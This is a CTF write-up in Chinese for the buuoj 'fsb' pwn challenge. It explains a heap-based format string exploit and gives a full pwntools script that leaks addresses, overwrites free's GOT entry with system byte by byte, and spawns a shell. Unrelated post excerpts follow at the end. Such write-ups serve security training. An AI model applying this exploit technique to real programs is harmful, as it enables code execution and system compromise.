buuoj 第六章 CTF之PWN章 fsb

2021-10-18 05:40:04 字數 2888 閱讀 3977

瞅瞅檢查

開了nx、canary跟pie。

relro沒有開,可以考慮劫持got表。

進去是個迴圈

裡面是個格式化字串漏洞。

因為它開的空間是堆上的,所以常規棧上的格式化字串漏洞不能用。

非棧上的格式化字串漏洞

非棧上的格式化字串漏洞的話,先在printf處下斷點。

總體思路

滿足利用要求的三個指標分別在printf第10、16、20個引數的位置。該程式在迴圈執行20次輸入、輸出前申請了乙個記憶體塊,用於存放輸入的字串,迴圈結束後會釋放掉這個記憶體然後退出程式。我們將0x7ffffffee080處的值修改為got表中free函式的位址,再將其中的函式指標改為system函式的位址,這樣在執行free函式時,實際執行的就是system,只要輸入『/bin/sh』就可以拿到shell。

具體實現

先洩露棧位址,elf程式位址,libc位址,分別在棧上找到偏移,然後洩露出來。

因為我們輸入的東西在堆上,所以不能通過常規的寫入got表位址然後劫持,只能先把位址寫在棧上,然後劫持。

在棧上寫位址的時候又要注意,不能直接寫,因為要寫的位址是乙個大數字,不能一下寫進去,printf的緩衝區開不了那麼大,所以只能乙個位元組乙個位元組寫。

假設我們現在能控制棧裡面的三個地方,分別是p1,p2,p3,p1裡面放著p2,p2裡面放著p3,p3裡面放著乙個我們要替換的位址,我們需要講p3中的位址覆蓋成free_got,那麼我們需要通過p2寫,但是需要乙個位元組乙個位元組寫,所以需要修改p2,那麼就需要p1來修改p2,從而達到乙個鏈。

往free_got中寫system乙個道理,鏈q1是p2,q2對應p3,free_got對應p3。

from pwn import

*p=process(

'./fsb2'

)libc = elf(

'./libc-2.27.so'

)elf = elf(

'./fsb2'

)p.recvuntil(

'name:'

)p.sendline(

'%10$p%11$p%21$p'

)p.recvuntil(

'0x'

)stack_addr =

int(p.recvuntil(

'0x')[

:-2]

,16)addr1 =

int(p.recvuntil(

'0x')[

:-2]

,16)base = addr1 - elf.symbols[

'vuln']-

0x3f

addr2 =

int(p.recvuntil(

'\n')[

:-1]

,16)libc_base = addr2 - libc.symbols[

'__libc_start_main']-

0xe7

p1 = stack_addr-

48p2 = stack_addr

p3 = stack_addr+

32free_got = base + elf.got[

'free'

]system = libc_base + libc.symbols[

'system'

]#overwrite p3 to free_got

for i in

range(0

,6):

x =5-i

off =

(p3+x)

&0xff

p.recvuntil(

'name'

) p.sendline(

"%"+

str(off)

+"c%10$hhn"

+'\x00'*50

) ch =

(free_got>>

(x*8))

&0xff

p.recvuntil(

'name'

) p.sendline(

"%"+

str(ch)

+"c%16$hhn"

+'\x00'*50

)#overwrite free_got to system

for i in

range(0

,6):

off =

(free_got+i)

&0xff

p.recvuntil(

'name'

) p.sendline(

"%"+

str(off)

+"c%16$hhn"

+'\x00'*50

) ch =

(system>>

(i*8))

&0xff

p.recvuntil(

'name'

) p.sendline(

"%"+

str(ch)

+"c%20$hhn"

+'\x00'*50

)for i in

range(30

-25):

p.recvuntil(

'name'

) p.sendline(

'/bin/sh'

+'\x00'

*100

)p.interactive(

)

buuoj 第六章 CTF之PWN章 ROP

保護。啥沒有。在除錯過程中發現最後會出問題,然後gdb.attach貼上以後開始調。這個地方卡住是因為沒有棧對齊,你可以看到此時rsp是78,但是他要求16位對齊,最後得是0,所以需要在system位址前面加上個ret。具體的看下面的wp expfrom pwn import context.log...

mysql第六章 第六章 mysql日誌

第六章 mysql日誌 一 錯誤日誌 錯誤日誌的預設存放路徑是 mysql 存放資料的地方 hostname.err 1.修改錯誤日誌存放路徑 mysqld log error data mysql mysql.log 2.檢視配置命令 show variables like log error 3...

第六章 指標

1.多位元組資料的位址是在最左邊還是最右邊的位置,不同的機器有不同的規定,這也正是大端和小端的區別,位址也要遵從邊界對齊 2.高階語言的乙個特性就是通過名字而不是位址來訪問記憶體的位置,但是硬體仍然通過位址訪問記憶體位置 3.記憶體中的變數都是義序列的0或1的位,他們可以被解釋為整數或者其他,這取決...